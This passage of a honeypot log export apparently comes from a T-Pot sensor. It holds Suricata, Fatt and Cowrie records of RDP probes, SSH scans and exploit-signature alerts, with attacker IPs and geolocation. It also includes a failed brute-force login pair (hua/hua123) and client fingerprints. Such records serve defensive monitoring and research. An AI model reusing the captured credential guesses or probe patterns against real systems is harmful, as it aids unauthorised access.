"192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35372	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:48.312037+03	2021-09-20 15:15:03.17672+03	{"_id": "KAYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:48.312037Z", "@timestamp": "2021-09-20T12:08:48.312Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35373	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:08:48.491243+03	2021-09-20 15:15:03.17872+03	{"_id": "LQYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:48.265960+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1295540273811176, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 45070, "dest_port": 3389, "timestamp": "2021-09-20T12:08:48.491243Z", "@timestamp": "2021-09-20T12:08:48.491Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35374	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:48.308518+03	2021-09-20 15:15:03.179722+03	{"_id": "LgYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 6, "bytes_toclient": 0, "bytes_toserver": 560}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:48.308518Z", "@timestamp": "2021-09-20T12:08:48.308Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
35375	203.176.71.44	109.199.241.180	Suricata	2021-09-20 15:08:47.6942+03	2021-09-20 15:15:03.18072+03	{"_id": "EgYbA3wBvYTbRNuE1FxH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "flow_id": 1999438168971716, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48835, "dest_port": 22, "timestamp": "2021-09-20T12:08:47.694200Z", "@timestamp": "2021-09-20T12:08:47.694Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35377	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:08:47.11317+03	2021-09-20 15:15:03.18372+03	{"_id": "GAYbA3wBvYTbRNuE1VxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59482, "timestamp": "2021-09-20T12:08:47.113170", "@timestamp": "2021-09-20T12:08:47.113Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35378	203.176.71.44	109.199.241.180	Fatt	2021-09-20 15:08:47.694393+03	2021-09-20 15:15:03.184719+03	{"_id": "GQYbA3wBvYTbRNuE1VxO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48835, "dest_port": 22, "timestamp": "2021-09-20T12:08:47.694393", "@timestamp": "2021-09-20T12:08:47.694Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35379	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:08:47.659718+03	2021-09-20 15:15:03.185691+03	{"_id": "GwYbA3wBvYTbRNuE11wM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [hua/hua123] failed", "session": "a97dd46c501c", "@version": "1", "password": "hua123", "username": "hua", "timestamp": "2021-09-20T12:08:47.659718Z", "@timestamp": "2021-09-20T12:08:47.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	BY
35380	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:48.314029+03	2021-09-20 15:15:03.186722+03	{"_id": "IgYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:48.314029+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 101}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:00fb", "flow_id": 1024484887808685, "payload": "AAAAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgVsb2NhbAAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 5353, "app_proto": "failed", "dest_port": 5353, "timestamp": "2021-09-20T12:08:48.314029Z", "@timestamp": "2021-09-20T12:08:48.314Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............DESKTOP-0VQD61B.local....."}}	1	\N	\N	alert	\N	\N
35381	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:08:48.338247+03	2021-09-20 15:15:03.187691+03	{"_id": "JAYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:48.265960+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1295540273811176, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 45070, "dest_port": 3389, "timestamp": "2021-09-20T12:08:48.338247Z", "@timestamp": "2021-09-20T12:08:48.338Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35382	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:48.307178+03	2021-09-20 15:15:03.189689+03	{"_id": "JQYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:48.307178+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 86}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0001", "flow_id": 1605383509553130, "payload": "IAAAAP6AAAAAAAAAJUa1YjrwnwI=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 136, "timestamp": "2021-09-20T12:08:48.307178Z", "@timestamp": "2021-09-20T12:08:48.307Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": " ...........%F.b:..."}}	1	\N	\N	alert	\N	\N
35383	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:48.812877+03	2021-09-20 15:15:03.190693+03	{"_id": "IQYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 9, "bytes_toclient": 0, "bytes_toserver": 890}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAAAAAAAAABAAMEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:48.812877Z", "@timestamp": "2021-09-20T12:08:48.812Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........................................................"}}	1	\N	\N	alert	\N	\N
35384	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:48.30934+03	2021-09-20 15:15:03.192692+03	{"_id": "KQYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:48.309340Z", "@timestamp": "2021-09-20T12:08:48.309Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35385	87.251.67.120	109.199.241.180	Fatt	2021-09-20 15:08:48.338247+03	2021-09-20 15:15:03.193693+03	{"_id": "MgYbA3wBvYTbRNuE2Vx6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "src_ip": "87.251.67.120", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 45070, "dest_port": 3389, "timestamp": "2021-09-20T12:08:48.338247", "@timestamp": "2021-09-20T12:08:48.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	MD
35386	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:08:48.750698+03	2021-09-20 15:15:03.19472+03	{"_id": "NAYbA3wBvYTbRNuE2lz1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "a97dd46c501c", "@version": "1", "duration": 1.6388981342315674, "timestamp": "2021-09-20T12:08:48.750698Z", "@timestamp": "2021-09-20T12:08:48.750Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	BY
35387	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:49.322906+03	2021-09-20 15:15:03.195722+03	{"_id": "NwYbA3wBvYTbRNuE3FwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:49.322906Z", "@timestamp": "2021-09-20T12:08:49.322Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35388	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:08:44.284376+03	2021-09-20 15:15:03.19769+03	{"_id": "7wYbA3wBvYTbRNuEyVuR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49798, "timestamp": "2021-09-20T12:08:44.284376", "@timestamp": "2021-09-20T12:08:44.284Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35389	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:08:47.112129+03	2021-09-20 15:15:03.198719+03	{"_id": "_gYbA3wBvYTbRNuE01sj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a97dd46c501c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:08:47.112129Z", "@timestamp": "2021-09-20T12:08:47.112Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	BY
35390	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:08:47.210508+03	2021-09-20 15:15:03.199719+03	{"_id": "AQYbA3wBvYTbRNuE01wj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a97dd46c501c", "@version": "1", "timestamp": "2021-09-20T12:08:47.210508Z", "@timestamp": "2021-09-20T12:08:47.210Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	BY
